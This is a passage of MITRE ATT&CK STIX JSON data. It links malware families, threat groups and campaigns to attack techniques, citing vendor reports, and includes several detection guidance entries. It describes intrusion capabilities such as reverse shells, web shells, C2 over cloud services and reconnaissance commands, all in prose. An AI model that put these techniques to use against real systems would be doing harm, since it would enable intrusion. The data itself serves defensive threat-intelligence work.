"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2021-04-19T22:03:52.473Z", "description": "[Spark](https://attack.mitre.org/software/S0543) has encoded communications with the C2 server with base64.(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e5545a-6fdc-4bfe-af74-2c80416ed936", "type": "relationship", "created": "2020-12-22T18:36:12.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}, {"source_name": "BleepingComputer Molerats Dec 2020", "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}], "modified": "2020-12-29T17:42:13.761Z", "description": "[DropBook](https://attack.mitre.org/software/S0547) can communicate with its operators by exploiting the Simplenote, DropBox, and the social media platform, Facebook, where it can create fake accounts to control the backdoor and receive instructions.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e6596d-ca80-4406-93f3-5fab013bc913", "type": "relationship", "created": "2020-11-13T16:22:33.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}], "modified": "2020-11-13T19:31:02.473Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has infected victims via malicious attachments.(Citation: IBM Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e70260-cbf3-4c6b-bd30-208329cfef26", "type": "relationship", "created": "2019-01-29T18:55:20.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Remcos Feb 2017", "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html", "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}], "modified": "2019-04-19T14:39:53.059Z", "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command to hide itself through injecting into another process.(Citation: Fortinet Remcos Feb 2017)", "relationship_type": "uses", "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e76e33-91b4-409f-a784-7e181f82b216", "type": "relationship", "created": "2020-07-16T15:23:48.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}], "modified": "2020-07-16T15:23:48.600Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has decrypted the binary's configuration once the <code>main</code> function was launched.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2019-04-24T23:10:02.487Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can query service configuration information.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54ea458f-665e-42a3-b181-8d783e9589ad", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos GravityRAT", "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}], "modified": "2019-04-24T23:21:59.269Z", "description": "[GravityRAT](https://attack.mitre.org/software/S0237) lists the running processes on the system.(Citation: Talos GravityRAT)", "relationship_type": "uses", "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54ece776-8a64-4e0c-9d54-4350680c07b8", "type": "relationship", "created": "2020-05-06T21:31:07.563Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.563Z", "description": "[Okrum](https://attack.mitre.org/software/S0439)'s payload is encrypted and embedded within its loader, or within a legitimate PNG file.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--54f36f78-5046-48f5-9ec8-0348ae057fff", "created": "2020-12-28T18:50:41.516Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. 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Retrieved June 13, 2019.", "url": "http://blog.morphisec.com/security-alert-fin8-is-back", "source_name": "Morphisec ShellTea June 2019"}], "modified": "2019-06-28T20:48:52.534Z", "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has been observed using a Registry Run key.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--559d4b9f-55ed-4626-9be2-a64638d0bfc3", "type": "relationship", "created": "2020-10-15T12:05:58.968Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-15T12:05:58.968Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--559dfd54-de33-4cfc-aeec-617cd545e870", "type": "relationship", "created": "2019-01-29T21:27:25.298Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.370Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim\u2019s machine.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55a9fab0-30f8-45f5-b48d-7edbd961404d", "type": "relationship", "created": "2021-10-06T21:37:07.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-15T03:11:44.531Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) adds malicious code to a host's Xcode projects by enumerating CocoaPods <code>target_integrator.rb</code> files under the <code>/Library/Ruby/Gems</code> folder or enumerates all <code>.xcodeproj</code> folders under a given directory. [XCSSET](https://attack.mitre.org/software/S0658) then downloads a script and Mach-O file into the Xcode project folder.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55aa08a3-d33a-465b-8d48-d25566ce0957", "type": "relationship", "created": "2020-05-18T21:01:51.379Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.376Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used shell scripts to launch various services and to start/stop the QEMU virtualization.(Citation: ESET LoudMiner June 2019)\t", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55ac2bf6-d8a3-408e-a267-e985d02d72ba", "created": "2023-09-15T16:42:24.948Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:11:10.024Z", "description": "Monitor for several ways that code can execute\u00a0on a remote host. One of the most common methods is via the Windows\u00a0Service Control Manager\u00a0(SCM), which allows authorized users to remotely create and modify services. Several tools, such as\u00a0[PsExec](https://attack.mitre.org/software/S0029), use this functionality.\n\nWhen a client remotely communicates with the Service Control Manager, there are two observable behaviors. First, the client connects to the\u00a0RPC Endpoint Mapper\u00a0over 135/tcp. This handles authentication, and tells the client what port the endpoint\u2014in this case the SCM\u2014is listening on. Then, the client connects directly to the listening port on\u00a0services.exe. If the request is to start an existing service with a known command line, the the SCM process will run the corresponding command.\n\nThis compound behavior can be detected by looking for\u00a0services.exe\u00a0receiving a network connection and immediately spawning a child process.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55af3bd0-d523-4394-99c6-182114c5cdc2", "type": "relationship", "created": "2021-04-09T13:34:37.693Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer Doki July 20", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:37.693Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has used Ngrok to establish C2 and exfiltrate data.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55af723a-6ca6-449d-be8e-d61a067fbefd", "created": "2022-06-10T12:51:32.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NCC Group LAPSUS Apr 2022", "description": "Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.", "url": "https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"}, {"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-21T17:44:25.478Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has gained access to internet-facing systems and applications, including virtual private network (VPN), remote desktop protocol (RDP), and virtual desktop infrastructure (VDI) including Citrix. (Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55b0cb4d-1109-449c-82f6-ed42317df209", "type": "relationship", "created": "2022-03-25T14:39:05.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Palmerworm Sep 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "description": "Threat Intelligence. (2020, September 29). Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors. Retrieved March 25, 2022."}], "modified": "2022-03-25T14:39:05.395Z", "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used Putty for remote access.(Citation: Symantec Palmerworm Sep 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55b619f6-daf8-4126-99b9-65db277da82c", "created": "2023-09-28T03:39:40.752Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-01T14:18:01.005Z", "description": "Monitor for the creation of volume shadow copy and backup files, especially unexpected and irregular activity (relative to time, user, etc.).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182", "type": "relationship", "created": "2019-06-24T13:13:57.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/", "source_name": "Intezer HiddenWasp Map 2019"}], "modified": "2019-07-06T22:20:35.261Z", "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.(Citation: Intezer HiddenWasp Map 2019)", "relationship_type": "uses", "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55b9483d-2d73-433c-ad5a-d29dcce6e4e4", "created": "2022-10-06T21:20:55.089Z", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.", "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T21:20:55.089Z", "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net accounts` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)", "relationship_type": "uses", "source_ref": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55c21d63-7c56-4025-97dc-bb1bced3aa58", "created": "2024-03-28T15:47:50.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON 2019", "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:14:19.092Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) planted Web shells on Outlook Exchange servers.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55c7a861-5b9d-43f6-9430-914a35f9af77", "type": "relationship", "created": "2019-01-30T15:47:41.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Lazarus Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}], "modified": "2020-03-20T16:06:56.276Z", "description": "[AuditCred](https://attack.mitre.org/software/S0347) can open a reverse shell on the system to execute commands.(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos MuddyWater May 2019", "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"}, {"source_name": "Securelist MuddyWater Oct 2018", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", "url": "https://securelist.com/muddywater/88059/"}, {"source_name": "Talos MuddyWater Jan 2022", "description": "Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.", "url": "https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"}, {"source_name": "Trend Micro Muddy Water March 2021", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}, {"source_name": "Reaqta MuddyWater November 2017", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"}, {"source_name": "FireEye MuddyWater Mar 2018", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. 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(n.d.). Operation SMN: Axiom Threat Actor Group Report. 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Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has checked the OS version using `wmic.exe` and the `find` command.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T20:00:40.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. 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Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T19:08:27.874Z", "description": "[GLASSTOKEN](https://attack.mitre.org/software/S1117) has the ability to decode hexadecimal and Base64 C2 requests.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "malware--554e010d-726b-439d-9a1a-f60fff0cc109", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55fe86ac-5f5a-4c6c-a2f9-cd425f18326e", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitoring changes to the Windows Registry may reveal malicious root certificate installation. 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There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:\u00a0(Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "relationship_type": "detects", 